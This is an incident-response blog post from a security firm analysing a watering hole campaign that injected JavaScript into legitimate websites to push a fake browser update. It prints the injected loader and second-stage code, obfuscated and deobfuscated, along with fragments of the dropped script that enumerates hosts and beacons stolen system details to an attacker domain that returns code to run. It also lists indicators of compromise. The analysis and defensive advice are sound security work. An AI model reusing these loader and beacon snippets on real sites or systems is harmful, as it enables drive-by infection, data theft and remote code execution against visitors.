1300 292 946
Uncovering a watering hole attack

Uncovering a watering hole attack

ParaFlare Logo

Shanna Daly
Director of Incident Response
With credit to: Daniel Russell, Aaron Williams, Melanie Ninovic, Steph Burr & Thomas Pitt.
November 12, 2021
10 min read.

One of many great things about working for ParaFlare is the way our teams work together for a common goal - making sure our customer is looked after. There was a great example of this recently when our cyber operations and consulting teams worked together to uncover a nifty string of watering hole attacks on hundreds of vulnerable web sites.

IT BEGAN LIKE THIS....

Ask any cyber operations analyst about their favourite part of the job and they will likely tell you it is threat hunting. More specifically, threat hunting and then finding something. In this example, going down the rabbit hole started with an alert and not a hunting activity. The hunt, however, began shortly after.

During one our routine checks an endpoint was seen executing wscript.exe to launch a JavaScript file from under the parent process of explorer.exe. The file `wscript.exe` is the Microsoft Windows Based Script Host process and is invoked to execute scripts on Windows systems. For example, should a user double click on a JavaScript file, wscript is the process that will open and execute the file automatically.

Obviously knowing this, what the analyst had found looked suspicious and warranted further investigation. What was that JavaScript file? How was it executed? And how did it get on the system in the first place?

This endpoint triggered an alert because the JavaScript file executed by wscript.exe made 2 outbound connections to internet based IP addresses.

This endpoint triggered an alert because the JavaScript file executed by wscript.exe made 2 outbound connections to internet based IP addresses.

The first IP address shown, 79.110.52.138 is a Netherlands-based IP that has had multiple recent reports published about potentially malicious activity communicating to this IP.

This initial piece of information and alert was generated from within the Microsoft stack and visible within the security centre portal. Utilising the timeline feature within the security portal, we were able to see what happened prior to the file executing. What we noticed was a visit to a website immediately before this script was executed. This website was a regular old legitimate website, not a malicious host. 

Well, not intentionally anyway.

The poisoned waterhole

When you think of a watering hole, a large body of water that attracts animals comes to mind. In the same way, adversaries look at websites like a watering hole –  a place that attracts many visitors . By poisoning the watering hole (one website), a large number of end users can be affected at once.  This is a cost-effective way for cyber criminals to operate. We call the website hack a watering hole attack, which then leads to the next stage of infection, the end user.

A drive-by download is a technique used by threat actors to install malware on a victim’s machine without warning and with no interaction from the user. A successful drive-by download attack will silently run in the background without the user even knowing about it, all the while browsing their favourite blog and news sites.

For this to happen, the threat actors will compromise a website and add additional code or “features” to the website page or pages. This additional code is what enables the attackers to infect the machine of the user while they browse the website
1:

  • A legitimate website is compromised via some form of malicious code injection; this code could be JavaScript, IFrames, or cross-site scripting.
  • Malicious ads are paid for and served through legitimate ad providers.
  • Built-in web application interfaces are used for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (think forum posts or comments).

The very nature of drive-by downloads, with victims being completely unaware while visiting sites that are not deemed to be malicious, makes this type of compromise difficult to detect and identify. This blog post will provide a technical breakdown of how a drive-by download operates and recommendations to prevent further compromise.

WHAT WE UNCOVERED

What ParaFlare uncovered throughout this engagement was a watering hole attack. While in this instance the attack was not targeted to a user or company, in many instances, an adversary who is targeting a specific user would undertake research to understand which sites their target was likely to visit or could be tempted to visit. They would then inject malicious JavaScript code into those websites to eventually gain access to the user’s system. 

The graphic below paints a picture of how this drive-by download was successful in compromising a user. 

Technical Breakdown

Initial Access: T1189 Drive-by Compromise

A legitimate website is first compromised by an adversary who injects or adds malicious JavaScript code into a webpage. From this engagement ParaFlare was able to identify some legitimate websites that have been used as part of this widespread watering hole attack (campaign). These were identified by analysing the user activity immediately before connections were made to known malicious domains and IP addresses (we’ll talk about what these were a little later).

Some of the websites that have been compromised by an adversary identified by ParaFlare included:

  • canutrition[.]com[.]au (IP Address: 116.90.51[.]2)
  • netcorpgps[.]com[.]au (IP Address: 101.0.105[.]22)
  • nepalkhabar[.]com (IP Address: 172.104.186[.]53)
  • monkeybikeoz[.]com[.]au (IP Address: 110.232.140[.]133)

ParaFlare utilised an online tool, Sucuri’s SiteCheck2, to passively scan these websites for any known malicious code. For each of the sites listed above, there was common malicious code identified. A sample of this code is demonstrated below.

;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//monkeybikeoz.com.au/core/customgroupicons/thumbs/thumbs.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};

Cleaning up and deobfuscating this script provides further insight into its capabilities. As illustrated below, the script calls monkeybikeoz.com[.]au/core/customgroupicons/thumbs/thumbs.php along with a randomly generated token. In this case, the token is 3xkmy8g12l4ikxo1rumjie

if (ndsw === undefined) {
        var ndsw = true, HttpClient = function () {
   this['get'] = function (a, b) {
    var c = new XMLHttpRequest();
    c['onreadystatechange'] = function () {
     if (c['readyState'] == 4 && c['status'] == 200)
      b(c['responseText']);
    }, c['open']('GET', a, !![]), c['send'](null);
   };
  }, rand = function () {
   return Math['random']()['toString'](36)['substr'](2);
  }, token = function () {
   return rand() + rand();
  };
 (function () {
  var
   _cookie = document['cookie'],
   _hostname = window['location']['hostname'],
   _protocol = window['location']['protocol'],
   _referrer = document['referrer'];
  if (_referrer && !_indexOf(_referrer, _hostname) && !_cookie) {
   var _httpClient = new HttpClient(),
    _malURL = _protocol + '//monkeybikeoz.com.au/core/customgroupicons/thumbs/thumbs.php?id =' + token();
   _httpClient['get'](_malURL, function (_getResult) {
    _indexOf(_getResult, 'ndsx') && window['eval'](_getResult);
   });
  }
  function _indexOf(r, v) {
   return r['indexOf'](v) !== -1;
  }
 }());
    };

This random token is then used to redirect the users web browser to monkeybikeoz.com.au/core/customgroupicons/thumbs/thumbs.php?q=id%3D3xkmy8g12l4ikxo1rumjie.

Following some clean-up and deobfuscation, the script clearly contains a base64 encoded string.

We then took a look at that page and it too contained malicious JavaScript code, which is shown as a screenshot of Sucuri’s SiteCheck tool, which can detect web-based malware and code injection.

var ndsx = true;(function(){var rp=document[gm("cmVmZXJyZXI=")]||'';var zy=new RegExp(gm('Oi8vKFteL10rKS8='));if(!rp||window[gm("bG9jYXRpb24=")][gm("aHJlZg==")][gm("bWF0Y2g=")](zy)[1]==rp[gm("bWF0Y2g=")](zy)[1]){return;};varak=navigator[gm("dXNlckFnZW50")]; var yw=window[gm("bG9jYWxTdG9yYWdl")][gm("X19fdXRtYQ==")];if(ou(ak,gm("V2luZG93cw=="))&&!ou(ak,gm("QW5kcm9pZA=="))){if(!yw){var dx=document.createElement('script');dx.type='text/javascript';dx.async=true;dx.src=gm('aHR0cHM6Ly9jb250cmFjdG9yLnRoZWNhbmluZXNjaG9sYXIuY29tL3JlcG9ydD9yPWRqMDRZVEZsWW1JM09XUmlaalpsTjJWbU56Z3dZaVpqYVdROU1qVTE=');var gk=document.getElementsByTagName('script')[0];gk.parentNode.insertBefore(dx,gk);}}function gm(ij){var vo=window.atob(ij);return vo;}function ou(rl,ve){var vo=(rl[gm("aW5kZXhPZg==")](ve)>-1);return vo;}})();

Following some clean-up and deobfuscation, the script clearly contains a base64 encoded string.

var ndsx = true;(
    function(){
        var rp=document[gm("cmVmZXJyZXI=")]||'';
        var zy=new RegExp(gm('Oi8vKFteL10rKS8='));
            if(!rp||window[gm("bG9jYXRpb24=")][gm("aHJlZg==")][gm("bWF0Y2g=")](zy)[1]==rp[gm("bWF0Y2g=")](zy)[1]){
                return;
            };
        var ak=navigator[gm("dXNlckFnZW50")];
        var yw=window[gm("bG9jYWxTdG9yYWdl")][gm("X19fdXRtYQ==")];
            if(ou(ak,gm("V2luZG93cw=="))&&!ou(ak,gm("QW5kcm9pZA=="))){
                if(!yw){
                    var dx=document.createElement('script');
                    dx.type='text/javascript';
                    dx.async=true;
                    dx.src=gm('aHR0cHM6Ly9jb250cmFjdG9yLnRoZWNhbmluZXNjaG9sYXIuY29tL3JlcG9ydD9yPWRqMDRZVEZsWW1JM09XUmlaalpsTjJWbU56Z3dZaVpqYVdROU1qVTE=');
                    var gk=document.getElementsByTagName('script')[0];
                    gk.parentNode.insertBefore(dx,gk);
                }
            }
    function gm(ij){
        var vo=window.atob(ij);
        return vo;
    }
    function ou(rl,ve){
        var vo=(rl[gm("aW5kZXhPZg==")](ve)>-1);
        return vo;}
    }));

The base64 encoded string contained within this script:

aHR0cHM6Ly9jb250cmFjdG9yLnRoZWNhbmluZXNjaG9sYXIuY29tL3JlcG9ydD9yPWRqMDRZVEZsWW1JM09XUmlaalpsTjJWbU56Z3dZaVpqYVdROU1qVTE

decodes to

hxxps://contractor.thecaninescholar[.]com/report?r=dj04YTFlYmI3OWRiZjZlN2VmNzgwYiZjaWQ9MjU1

At the time of writing, this webpage is no longer accessible as it has been blacklisted. However, research and intelligence has revealed this site contained malicious JavaScript code to the attacker’s domain. It prompts the user to download a .zip file cleverly disguised as a browser update, which contains a script to enumerate the compromised device.

From our investigation, ParaFlare identified the following malicious files that were downloaded onto user devices:

  • 86a04e.zip
    (SHA256: 44a3c2089abd82470d000d6d938aa97abcc01a4e3e64c4ffc3f3006f279a8b8e)
  • 2f1561.zip
    (SHA256: e411a58c82c9558c08ff31833766fe8d04b288907afc97460e3a8dab6327425f)
  • Update.d76a5a.js
    (SHA256: 03d894b81a94fe260876a51969cfad7e13ad6b155362d59cd1837d65b1d291d9).

Once downloaded, the JavaScript executes via wscript and attempts to obtain the following information as part of host enumeration via WMI calls:

  • System Information: Computer System, Manufacturer, win23_BIOS (version, serial number), MAC Address
  • User Information: username, Computer Name, user dns domain (DNS Domain)
  • Security Products: AntiSpyware Product and AntiVirus Product.

Windows Defender retrieves and stores the source code of scripts executed on the endpoint, while AMSI inspects it during execution. We can use this to see what scripts were executed.

4 scripts appear to have been executed under the .js file launched by wscript.exe.

SCRIPT 1

The first file sets up the use of a wscript shell in a couple of variables. This is commonly used by both attackers and legitimate developers to run Operating System commands and access system information.

try { 
        var oWsh = new ActiveXObject("WScript.Shell"); 
        var oWnet = new ActiveXObject("WScript.Network"); 
    } catch (e) { }

It then executes a number of Try/Catch statements, attempting to enumerate various components of the endpoint’s environment.

Once again, this is common amongst both attackers and developers. However, it is worth noting that the script does attempt to determine the currently installed antivirus product.

try { 
        dnsDomain = oWsh.ExpandEnvironmentStrings('%userdnsdomain%'); 
    } catch (e) { } 
    
    try { 
        Manufacturer = getNewWMI("CIMV2", "Win32_ComputerSystem", "Manufacturer"); 
    } catch (e) { } 
    
    try { 
        Model = getNewWMI("CIMV2", "Win32_ComputerSystem", "Model"); 
    } catch (e) { } 
    try { 
        BIOS_Version = getNewWMI("CIMV2", "Win32_BIOS", "Version"); 
        BIOS_Version += getNewWMI("CIMV2", "Win32_BIOS", "SerialNumber"); 
    } catch (e) { } 
    try { 
        AntiSpywareProduct = getNewWMI("SecurityCenter2", "AntiSpywareProduct", "displayName"); 
    } catch (e) { }

Finally, this script stores all of the enumerated information into a variable named req (a common shortening for request during web requests) and passes that information to a function named SendRequest, which is not defined in this script.

var req = []; 
    req.push('b'); 
    req.push(tid); 
    req.push(selfName); 
    req.push(ComputerName); 
    req.push(UserName); 
    req.push(Domain); 
    req.push(dnsDomain); 
    req.push(Manufacturer); 
    req.push(Model); 
    req.push(BIOS_Version); 
    req.push(AntiSpywareProduct); 
    req.push(AntiVirusProduct); 
    req.push(MACAddress); 
    req.push(ProcessList); 
    
    sendRequest(req); 

The first script appears to be a collector for system information, but does not contain information about the remote connections. Nor does it point to whether this activity is malicious or legitimate.

SCRIPT 2

However, the second script seen does have potentially malicious indicators. Firstly, the author of the script has attempted to obfuscate the source code. A common tactic for malware attempting to evade detection. An example can be seen below.

try { 
        var qesydaw = new ActiveXObject('Scripting.FileSystemObject'); 
        qesydaw['DeleteFile'](this['WScript']['ScriptFullName'], true); 
    } catch (e) { } 
    
    var dyhew = hqysaar0(); 
    var ilmkile7 = edrweiq(dyhew); 
    while (dyhew < ilmkile7) { 
        yhew = hqysaar0(); 
        this['WScript']['Sleep'](1000); 
    } 

Deobfuscating the script reveals several interesting bits of information.
A URL can be extracted, which points to hxps://jnolef[.]news[.]pocketstay[.]com/checkMaintenanceStatus. This URL has been detected by some AV engines as malicious, and its IP address lines up with the external connection seen in the alert. This tells us that the script executed successfully and made contact with the remote URL.

The next interesting snippet from the second script can be seen below. The script attempts to send a POST request to the previous discussed URL with a request body that appears to contain the gathered information from the first script we looked at. After sending that information to the remote URL, the script then checks for a reply and has the capability to then execute whatever it finds in the reply. This is very common beaconing behaviour seen by malware and is much harder to explain as legitimate.

var HTTPObj; 
            HTTPObj = new ActiveXObject('MSXML2.XMLHTTP'); 
            HTTPObj['open']('POST','https://jnolef.news.pocketstay.com/checkMaintenanceStatus', false); 
            HTTPObj['send'](Body); 
            if (HTTPObj['status'] == 200) { 
                HttpResponse = HTTPObj['responseText']; 
                if (HttpResponse) { 
                    DecodedResponse = BeginDecode(HttpResponse); 
                    if (DontEval) { 
                        return DecodedResponse; 
                    } 
                    else { 
                        this['eval'](DecodedResponse); 
                    } 
                } 
            } 

Finally, the second script contains several functions that appear to be solely for encoding/encrypting the communications between itself and the remote endpoint. 

    function XOR(response) {
        var isqo = 229, i, HttpResponse = ''; 
        for (i = 0; i < response['length']; i++) { 
            HttpResponse += ihkeciz0(response['charCodeAt'](i) ^ isqo); 
        } 
        return (ihkeciz0(isqo) + HttpResponse); 
    } 
    
    function morlivquij(vjyrpuej, hongku) { 
        var siramceet = '', dsikdirku, rmuka, i; vjyrpuej = igcejer(vjyrpuej); 
        hongku = igcejer(hongku); 
        for (i = 0; i < vjyrpuej['length']; i++) { 
            dsikdirku = vjyrpuej['substr'](i, 1); 
            rmuka = hongku['substr'](i, 1); 
            if (dsikdirku == '0') { 
                if (rmuka == '0') { 
                    siramceet += '0'; 
                } else { 
                    siramceet += '1'; 
                } 
            } else { 
                if (rmuka == '0') { 
                    siramceet += '1'; 
                } else { 
                    siramceet += '0'; 
                } 
            } 
        } 
        return parseInt(siramceet, 2); 

SCRIPT 3

The third script executed is not obfuscated and contains many helper functions that enable command execution, file creation and deletion, etc. The tail of the script ties the first two scripts together and shows the enumerated information being built and passed to the a_request function from script 2.

var req = [];
    req.push(['init_result', '1']);
    req.push(['ConsentPromptBehaviorAdmin', ConsentPromptBehaviorAdmin]);
    req.push(['PromptOnSecureDesktop', PromptOnSecureDesktop]);
    req.push(['osBuildNumber', osBuildNumber]);
    req.push(['osCaption', osCaption]);
    req.push(['whoami', whoami]);
    req.push(['userdnsdomain', userdnsdomain]);
    req.push(['username', username]);
    req.push(['computername', computername]);
    req.push(['processor_architecture', processor_architecture]);
    req.push(['asproduct', ASProduct]);
    
    a_Request(req);

Finally, the third script starts an infinite loop where it rotates between sleeping and beaconing out to the remote URL to see if there are any commands to run. This is probably the most damning piece of evidence that this is malicious activity.

 while(true) {
     try {
      var req = [];
      req.push(['ping', '1']);
      a_Request(req);
     } catch (e) {}
     
     WScript.Sleep(15*1000);
    }

SCRIPT 4

The fourth script block shows the connections that were made, as well as the post requests that were sent. Here are some important snippets from the fourth script:
POST request sent to the remote URL. Note that this is a POST request to a .gif address. There are not many valid reasons to send POST requests to GIF files.

IServerXMLHTTPRequest2.open("POST",
"hxxps://9acda429.news.pocketstay[].]com/1x1.gif", "false");

    IServerXMLHTTPRequest2.send("REDACTED-1");
    IServerXMLHTTPRequest2.status();
    IServerXMLHTTPRequest2.responseText();

POST request sent to the /checkMaintenanceStatus URL that we saw in the source code.

IServerXMLHTTPRequest2.open("POST",
"hxxps://jnolef.news.pocketstay[.]com/checkMaintenanceStatus", "false");

    IServerXMLHTTPRequest2.send("e58c8b8c91d8d4c3918c8880d8d4d3d4d3d1d2d3d0d1ddd7d0d5c3");
    IServerXMLHTTPRequest2.status();
    IServerXMLHTTPRequest2.responseText();

Using the scripts source code, we can decode those sent strings as follows.

e58c8b8c91d8d4c3918c8880d8d4d3d4d3d1d2d3d0d1ddd7d0d5c3 = init=1&time=1616476548250

and

REDACTED-1 = 0=b&1=500&2=C%3A%5CUsers%5C(REDACTED-2)
%5CAppData%5CLocal%5CTemp%5CTemp1_Chrome.86a04e.zip%5CChrome.Update.d76a5a.

Recommendations

Along with the tools, tactics, and procedures (TTPs) and indicators of compromise (IOCs) provided within this blog, there are some recommendations to share too. These aim to prevent drive-by attacks from being successful and enabling further compromise on victim endpoints.

  1. Restrict Regular Users from Running Scripts

As seen within this engagement, the execution of JavaScript code on disk led to the early stages of a successful drive-by compromise. ParaFlare recommends restricting local and regular users from executing scripts without administrative privileges or authority, particularly those written in JavaScript. This will add a layer of defence to drive-by downloads and similar attacks that require the execution of scripts, such as common phishing documents.

  1. Web Browser Security

Things to consider around web browser security include:

  • Application Hardening: some organisations are flexible in the type of web browsers their employees choose to use for personal and work activity. This exposes the organisation to further risk, as vulnerabilities span all types of web browsers and some browsers may not be routinely updated.

    Furthermore, users likely have permissions to install any extension or plugin they like on their local endpoints. This also opens their browser to risk as it is becoming ever more difficult to distinguish between legitimate applications and those with malicious intentions.

    Application hardening must be considered to ensure consistency in web browser types and plugins that are installed across the environment.
  • Updates: ensure web browsers across the organisation are automatically updated to the most recent release. This includes any plugins, add-ons, or extensions that the organisation or users may employ throughout their everyday browsing.
  1. Security Training

At some point throughout the infection chain, all compromises require human interaction. Within this engagement, the threat actor was able to enumerate the host only after the victim decompressed the .zip file and manually executed a script. Providing security training to employees is paramount to decreasing the likelihood of a drive-by download from being successful.

  • Modern web browsers will not forcibly install a new file to the endpoint to update the browser. This is an automatic process that is done in the background of normal activity.
  • Do not double click or execute a file if you do not know what this file is. If you are not sure about a particular file or script, ask your IT or security team.

[1] https://attack.mitre.org/techniques/T1189/

[2] https://sitecheck.sucuri.net/

 


Have a comment? Join the conversation on LinkedIn